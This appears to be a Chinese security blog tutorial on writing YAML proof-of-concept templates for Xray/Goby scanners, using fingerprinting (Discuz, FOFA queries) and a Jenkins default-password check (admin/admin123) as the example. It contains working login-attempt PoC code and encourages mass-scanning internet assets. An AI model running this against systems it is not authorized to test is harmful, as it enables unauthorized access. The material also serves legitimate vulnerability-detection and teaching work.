主流的被动扫描器类似于Xray、Goby的POC都支持YAML格式,YAML是JSON的超集,也就是说,你也可以用JSON编写POC,但这里还是建议大家使用YAML来编写,原因如下:
• YAML的值无需使用双引号包裹,所以特殊字符无需转义
• YAML的内容更加可读
• YAML中可以使用注释给大家演示一个最简单的YAML格式的POC。
今天给大家写一个最简单的弱口令的POC_Yaml,会写的师傅略过此篇文章,不会的可以瞅瞅~参考简单的POC的编写后续别的漏洞的POC编写按照这个方法来就行了。
Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件项目可以进行持续集成,Jenkins用Java语言编写,可在Tomcat等流行的servlet容器中运行,也可独立运行。通常与版本管理工具(SCM)、构建工具结合使用。
简介都是废话,其实就是一个登录框咱就要进后台。
所谓指纹就是一款应用(大多数情况下是Web应用)所具有的独有的特征,根据该特征,我们就可以识别出这款应用的通用框架或组件等。举个例子:Discuz是一款由康盛公司开发的知名论坛类型的CMS系统。它的外观通常是这样的:
但也有可能是这样的:
从外观上看,两个网站有很大区别,几乎不是同一个类型的。但是,我们可以去找共同点,这个过程也就是指纹提取。指纹提取,通常需要我们查看网页源码,我们来看一下二者源码有什么相同点:
注意到: <meta name="generator" content="Discuz! X3.?" />
这一行。其中,第一个网站是3.1,而第二个网站是3.3 。这个指纹通常是不会被改变的。于是一条识别Discuz框架的指纹就产生了,那就是:源码含有<meta name="generator" content="Discuz!
打开fofa,分别输入: body="<meta name=\"generator\" content=\"Discuz!\"" body="name=\"srhlocality\""
如果把后者的召回率比作1的话,前者的召回率大概在99.10% 。这样看来二者是有些细微区别的,我们鼓励开发者尽可能多地尝试使用不含有框架本身信息的指纹,以避免在二次开发场景下的篡改,导致召回率下降。
app="Jenkins"
POC编写逻辑 需要先用一个错误的密码 获取一个cookie,再用这个cookie 加上正确的密码获取登录后的cookie,也就是说只有登录失败才会触发下发cookie机制。
admin admin123
name: poc-yaml-Jenkins-default-password
level: 2
finger: |
"Jenkins" in finger.name
rules:
- method: POST
path: /login.html/j_spring_security_check
body: |
j_username=admin&j_password=admin123&from=%2F&Submit=%E7%99%BB%E5%BD%95
expression: |
response.status==302
detail:
author: libai
links:
- https://libai.blog.csdn.net/
扫不出来继续修改 当响应数据包出现HTTP/1.1 302 Found
并且body内容为空时,继续匹配下一个数据包。
name: poc-yaml-Jenkins-default-password
level: 2
finger: |
"Jenkins" in finger.name
rules:
- method: POST
path: /login.html/j_spring_security_check
headers:
Content-Type: application/x-www-form-urlencoded
body: |
j_username=admin&j_password=admin123&from=%2F&Submit=%E7%99%BB%E5%BD%95
follow_redirects: false
expression: |
response.status==302
- method: GET
path: /
headers:
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
follow_redirects: true
expression: |
response.status==200 && response.X-Frame-Options("sameorigin") && response.X-Instance-Identity("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAp/djRRKaisgFzKuSi1HBSz13uriuet6q65mYdMDii3zfxqvQQyvvwxSQ01J+4/+45cyXqOPMY2nIeJ5IW2fPVASuk0B9BRJQFBSVjp5hvIRuT9Piw7Op1EmgVWDXiqHR958CPlCY5I1Z/exqAHR0nEXky1YfuR59t6OW3tfa2vLuotNS1ISbJSunXwLAxfOe/wrh9TeIkiEiVBpM/1po+Q8DcOLc1S1MBg2WyXpR6xG1OVkYRYHeskGFcq20mBGdLj0Xg8Jd8y4qwMSm3xCmqf/Cio1pkiPilhM95dr31Oc3sRmGmCPBUJ5GU7Vw0pzhao5PXwiyLOa2nPgRH7gZzQIDAQAB")
detail:
author: libai
links:
- https://libai.blog.csdn.net/
还是不正确继续修改 expression里面尽量匹配bady,因为当这个字段有些webserver 代理的时候可能会修改,有nignx代理的时候可能会导致字段出现变化。
X-Frame-Options: sameorigin
X-Instance-Identity:
完整的POC 可以加载到Xray或者Goby里面,找个互联网资产扫一哈交个公益SRC,哈哈哈哈哈
name: poc-yaml-jenkins-default-password
level: 2
finger: |
"Jenkins" in finger.name
rules:
- method: POST
path: /j_spring_security_check
headers:
Content-Type: application/x-www-form-urlencoded
body: |
j_username=admin&j_password=admin123a&from=%2F&Submit=%E7%99%BB%E5%BD%95
follow_redirects: false
expression: |
response.status==302 ##返回302时是否跟随跳转的location
- method: POST
path: /j_spring_security_check
headers:
Content-Type: application/x-www-form-urlencoded
body: |
j_username=admin&j_password=admin123&from=%2F&Submit=%E7%99%BB%E5%BD%95
follow_redirects: false
expression: |
response.status==302
- method: GET
path: /
headers:
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
follow_redirects: true
expression: |
response.status==200 && response.body.bcontains(b'am-monitor__indicator-mobile')
detail:
author: libai
links:
- https://libai.blog.csdn.net/
往期推荐
红蓝对抗自动化利用工具整理
实战一次真实的域渗透拿下域控
一次任意文件下载引发的渗透
对某专属厂商的逻辑漏洞挖掘